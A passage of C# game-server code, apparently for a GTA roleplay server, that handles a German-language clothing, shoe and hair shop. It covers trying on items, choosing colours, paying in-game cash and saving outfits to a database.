API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE2.Z), 0);
|
|
}
|
|
else if (component == "Collage Jacke2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_JACKE_2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_JACKE_2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_JACKE_2.Z), 0);
|
|
}
|
|
else if (component == "Motorrad Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_PULLOVER.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_PULLOVER.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_PULLOVER.Z), 0);
|
|
}
|
|
else if (component == "Jacke 3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE3.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE3.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE3.Z), 0);
|
|
}
|
|
else if (component == "Jacke 4")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE4.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE4.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE4.Z), 0);
|
|
}
|
|
else if (component == "Daunen Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Daunen Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DAUNEN_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Langes Tshirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Langes Tshirt2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT2.Z), 0);
|
|
}
|
|
else if (component == "Langes Tshirt3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT3.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT3.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LONG_TSHIRT3.Z), 0);
|
|
}
|
|
else if (component == "Pullover Kurz")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER5.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER5.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER5.Z), 0);
|
|
}
|
|
else if (component == "Pullover Kurz2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER6.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER6.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER6.Z), 0);
|
|
}
|
|
else if (component == "T-Shirt 3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT3.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT3.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT3.Z), 0);
|
|
}
|
|
else if (component == "T-Shirt 4")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT4.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT4.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT4.Z), 0);
|
|
}
|
|
}
|
|
}
|
|
else if (eventName == "anProbierenFarbe")
|
|
{
|
|
int drawable = API.getPlayerClothesDrawable(sender, 11);
|
|
int color = Convert.ToInt16(arguments[1]);
|
|
int possibilities = API.fetchNativeFromPlayer<int>(sender, 0x8F7156A3142A6BAD, sender, 11, drawable);
|
|
if (color > -1)
|
|
{
|
|
if (color <= possibilities - 1)
|
|
{
|
|
API.setPlayerClothes(sender, 11, drawable, color);
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Die angegebene Zahl ist zu hoch.");
|
|
}
|
|
}
|
|
} else if(eventName == "verlassen")
|
|
{
|
|
API.freezePlayer(sender, false);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
API.stopPlayerAnimation(sender);
|
|
}
|
|
else if (eventName == "kaufenOberteil")
|
|
{
|
|
if (MONEY.Money.hasBarMoney(sender, 1000))
|
|
{
|
|
API.freezePlayer(sender, false);
|
|
int top = API.getPlayerClothesDrawable(sender, 11);
|
|
int top_color = API.getPlayerClothesTexture(sender, 11);
|
|
int undershirt = API.getPlayerClothesDrawable(sender, 8);
|
|
int torso = API.getPlayerClothesDrawable(sender, 3);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.TOP, top, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.TOP_COLOR, top_color, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.UNDERSHIRT, undershirt, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.TORSO, torso, API);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
Environment.MONEY.Money.giveBarMoney(sender, -1000, API);
|
|
API.stopPlayerAnimation(sender);
|
|
}
|
|
else
|
|
{
|
|
API.stopPlayerAnimation(sender);
|
|
API.freezePlayer(sender, false);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
API.sendPictureNotificationToPlayer(sender, "Du hast nicht genug Geld dabei!", "CHAR_ARTHUR", 1, 0, "Bargeld", "");
|
|
}
|
|
}
|
|
else if(eventName == "anProbierenHose")
|
|
{
|
|
int hose = (int)Convert.ToInt32(arguments[0]);
|
|
int geschlecht = (int)Convert.ToInt16(arguments[1]);
|
|
if (geschlecht == 1)
|
|
{
|
|
if (!(hose == 11 || hose == 77 || hose == 21 || hose == 30 || hose == 32 || hose == 33 || hose == 34 || hose == 35 || hose == 36 || hose == 38 || hose == 39 || hose == 40 || hose == 41 || hose == 44 || hose == 51 || hose == 53 || hose == 56 || hose == 63 || hose == 66))
|
|
{
|
|
API.setPlayerClothes(sender, 4, hose, 0);
|
|
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Diese Hose ist nicht vorrätig!", true);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (!(hose == 13 || hose == 26 || hose == 29 || hose == 32 || hose == 33 || hose == 34 || hose == 35 || hose == 39 || hose == 38 || hose == 40 || hose == 42 || hose == 46 || hose == 53 || hose == 55 || hose == 59 || hose == 61 || hose == 70 || hose == 72 || hose == 79 || hose == 86))
|
|
{
|
|
API.setPlayerClothes(sender, 4, hose, 0);
|
|
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Diese Hose ist nicht vorrätig!", true);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
}
|
|
else if (eventName == "anProbierenFarbeHose")
|
|
{
|
|
int drawable = API.getPlayerClothesDrawable(sender, 4);
|
|
int color = Convert.ToInt16(arguments[1]);
|
|
int possibilities = API.fetchNativeFromPlayer<int>(sender, 0x8F7156A3142A6BAD, sender, 4, drawable);
|
|
if(color > -1)
|
|
{
|
|
if (color <= possibilities - 1)
|
|
{
|
|
API.setPlayerClothes(sender, 4, drawable, color);
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Die angegebene Zahl ist zu hoch.");
|
|
}
|
|
}
|
|
}
|
|
else if (eventName == "kaufenHose")
|
|
{
|
|
if (MONEY.Money.hasBarMoney(sender, 850))
|
|
{
|
|
API.freezePlayer(sender, false);
|
|
int hose = API.getPlayerClothesDrawable(sender, 4);
|
|
int hose_color = API.getPlayerClothesTexture(sender, 4);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.LEGS, hose, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.LEGS_COLOR, hose_color, API);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
Environment.MONEY.Money.giveBarMoney(sender, -850, API);
|
|
API.stopPlayerAnimation(sender);
|
|
}
|
|
else
|
|
{
|
|
API.stopPlayerAnimation(sender);
|
|
API.freezePlayer(sender, false);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
API.sendPictureNotificationToPlayer(sender, "Du hast nicht genug Geld dabei!", "CHAR_ARTHUR", 1, 0, "Bargeld", "");
|
|
}
|
|
}
|
|
//////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////// SCHUHE
|
|
else if (eventName == "anProbierenSchuhe")
|
|
{
|
|
int schuh = (int)Convert.ToInt32(arguments[0]);
|
|
int geschlecht = (int)Convert.ToInt16(arguments[1]);
|
|
if (geschlecht == 0)
|
|
{
|
|
if(!(schuh == 9 || schuh == 12 || schuh == 58 || schuh == 17 || schuh == 21 || schuh == 24 || schuh == 25 || schuh == 26 || schuh == 27 || schuh == 28 || schuh == 30 || schuh == 31 || schuh == 34 || schuh == 38 || schuh == 40))
|
|
{
|
|
API.setPlayerClothes(sender, 6, schuh, 1);
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Diese Schuhe sind nicht vorrätig!", true);
|
|
}
|
|
|
|
}
|
|
else
|
|
{
|
|
if (!(schuh == 13 || schuh == 17 ||schuh == 55 || schuh == 19 || schuh == 24 || schuh == 25 || schuh == 27 || schuh == 29 || schuh == 33 || schuh == 34 || schuh == 39 || schuh == 41 || schuh == 59 || schuh == 58 || schuh == 59 || schuh == 60))
|
|
{
|
|
API.setPlayerClothes(sender, 6, schuh, 1);
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Diese Schuhe sind nicht vorrätig!", true);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
}
|
|
else if (eventName == "anProbierenFarbeSchuhe")
|
|
{
|
|
int drawable = API.getPlayerClothesDrawable(sender, 6);
|
|
int color = Convert.ToInt16(arguments[1]);
|
|
int possibilities = API.fetchNativeFromPlayer<int>(sender, 0x8F7156A3142A6BAD, sender, 6, drawable);
|
|
if (color > -1)
|
|
{
|
|
if (color <= possibilities - 1)
|
|
{
|
|
API.setPlayerClothes(sender, 6, drawable, color);
|
|
}
|
|
else
|
|
{
|
|
API.sendNotificationToPlayer(sender, "Die angegebene Zahl ist zu hoch.");
|
|
}
|
|
}
|
|
}
|
|
else if (eventName == "kaufenSchuhe")
|
|
{
|
|
if (MONEY.Money.hasBarMoney(sender, 500))
|
|
{
|
|
API.freezePlayer(sender, false);
|
|
int schuh = API.getPlayerClothesDrawable(sender, 6);
|
|
int schuh_color = API.getPlayerClothesTexture(sender, 6);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.FEET, schuh, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.FEET_COLOR, schuh_color, API);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
Environment.MONEY.Money.giveBarMoney(sender, -500, API);
|
|
API.stopPlayerAnimation(sender);
|
|
}
|
|
else
|
|
{
|
|
API.stopPlayerAnimation(sender);
|
|
API.freezePlayer(sender, false);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
API.sendPictureNotificationToPlayer(sender, "Du hast nicht genug Geld dabei!", "CHAR_ARTHUR", 1, 0, "Bargeld", "");
|
|
}
|
|
}
|
|
//////////////////////////////////////////////////////////////////////////////////////////////
|
|
////////////////// Haare
|
|
else if (eventName == "anProbierenHaare")
|
|
{
|
|
int haar = (int)Convert.ToInt32(arguments[0]);
|
|
int geschlecht = (int)Convert.ToInt16(arguments[1]);
|
|
API.setPlayerClothes(sender, 2, haar, 0);
|
|
}
|
|
else if (eventName == "anProbierenFarbeHaare")
|
|
{
|
|
int drawable = API.getPlayerClothesDrawable(sender, 2);
|
|
int color = Convert.ToInt16(arguments[1]);
|
|
API.setEntitySyncedData(sender.handle, "GTAO_HAIR_COLOR", color);
|
|
API.exported.gtaocharacter.updatePlayerFace(sender.handle);
|
|
}
|
|
else if (eventName == "kaufenHaare")
|
|
{
|
|
if (MONEY.Money.hasBarMoney(sender, 20))
|
|
{
|
|
API.freezePlayer(sender, false);
|
|
int haare = API.getPlayerClothesDrawable(sender, 2);
|
|
int haare_color = API.getEntitySyncedData(sender.handle, "GTAO_HAIR_COLOR");
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.HAIR, haare, API);
|
|
Database.CharacterDatabase.saveClothes(sender, Database.CharacterDatabase.DATABASEFLAGS.GTAO_HAIR_COLOR, haare_color, API);
|
|
Database.CharacterDatabase.saveClothes(sender, "HAIR_COLOR", haare_color, API);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
Environment.MONEY.Money.giveBarMoney(sender, -20, API);
|
|
API.stopPlayerAnimation(sender);
|
|
}
|
|
else
|
|
{
|
|
API.stopPlayerAnimation(sender);
|
|
API.freezePlayer(sender, false);
|
|
Database.CharacterDatabase.setPlayerDatabaseClothes(sender, API);
|
|
API.sendPictureNotificationToPlayer(sender, "Du hast nicht genug Geld dabei!", "CHAR_ARTHUR", 1, 0, "Bargeld", "");
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|